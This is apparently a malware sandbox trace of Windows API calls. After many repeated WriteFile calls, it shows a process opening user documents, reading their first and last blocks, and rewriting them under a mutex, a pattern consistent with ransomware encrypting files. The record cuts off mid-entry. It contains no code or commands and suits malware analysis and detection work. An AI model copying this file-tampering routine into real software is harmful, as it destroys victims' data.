[0040.850] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.850] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.852] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.865] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.868] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.868] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.869] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.869] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.870] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.870] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.870] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.026] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.026] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.027] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.027] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.028] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.028] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.029] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.030] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.031] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.031] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.031] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.031] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.032] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.033] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.033] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.033] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.034] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.043] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.044] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.044] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.044] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.045] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.046] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.046] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.047] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.047] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.048] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.048] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.048] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.049] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.050] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.050] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.050] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.051] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.504] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.509] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.513] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.513] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.514] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.514] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.514] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.515] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.515] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.515] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.515] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.516] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.516] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.516] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.517] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.517] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.517] WriteFile (in: hFile=0x170, lpBuffer=0x27f6cc8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6cc8*, lpNumberOfBytesWritten=0x304f28c*=0x8000, lpOverlapped=0x0) returned 1 [0041.517] VirtualQuery (in: lpAddress=0x7d860000, lpBuffer=0x304f2b0, dwLength=0x1c | out: lpBuffer=0x304f2b0*(BaseAddress=0x7d860000, AllocationBase=0x7d860000, AllocationProtect=0x4, RegionSize=0x5a0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0041.518] VirtualFree (lpAddress=0x7d860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0041.543] VirtualQuery (in: lpAddress=0x7de00000, lpBuffer=0x304f2b0, dwLength=0x1c | out: lpBuffer=0x304f2b0*(BaseAddress=0x7de00000, AllocationBase=0x7de00000, AllocationProtect=0x4, RegionSize=0x170000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0041.543] VirtualFree (lpAddress=0x7de00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0041.861] VirtualQuery (in: lpAddress=0x7df70000, lpBuffer=0x304f2b0, dwLength=0x1c | out: lpBuffer=0x304f2b0*(BaseAddress=0x7df70000, AllocationBase=0x7df70000, AllocationProtect=0x4, RegionSize=0x1d0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0041.863] VirtualFree (lpAddress=0x7df70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0041.871] CloseHandle (hObject=0x170) returned 1 [0041.871] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\DcX5FI.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\dcx5fi.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0041.871] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0041.872] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x6ca6 [0041.872] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0041.872] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.872] ReleaseMutex (hMutex=0x128) returned 1 [0041.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DcX5FI.docx", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.872] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DcX5FI.docx", cchWideChar=11, lpMultiByteStr=0x1e6334c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DcX5FI.docx", lpUsedDefaultChar=0x0) returned 11 [0041.872] ReadFile (in: hFile=0x170, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.873] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x5ca6 [0041.873] ReadFile (in: hFile=0x170, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.873] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x5ca6 [0041.873] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.873] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0041.873] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.873] CloseHandle (hObject=0x170) returned 1 [0041.874] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\0sNJgS5rj9U_y.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\0snjgs5rj9u_y.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0041.874] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0041.874] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x314e [0041.874] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0041.874] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.874] ReleaseMutex (hMutex=0x128) returned 1 [0041.874] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="0sNJgS5rj9U_y.doc", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0041.874] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="0sNJgS5rj9U_y.doc", cchWideChar=17, lpMultiByteStr=0x1e78b7c, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0sNJgS5rj9U_y.doc", lpUsedDefaultChar=0x0) returned 17 [0041.874] ReadFile (in: hFile=0x170, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.875] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x214e [0041.875] ReadFile (in: hFile=0x170, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.875] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x214e [0041.875] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.875] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0041.875] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.875] CloseHandle (hObject=0x170) returned 1 [0041.875] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\t 75.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\t 75.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0041.876] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0041.876] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x14eed [0041.876] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0041.876] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.876] ReleaseMutex (hMutex=0x128) returned 1 [0041.876] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="t 75.ods", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0041.876] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="t 75.ods", cchWideChar=8, lpMultiByteStr=0x1e6334c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="t 75.ods", lpUsedDefaultChar=0x0) returned 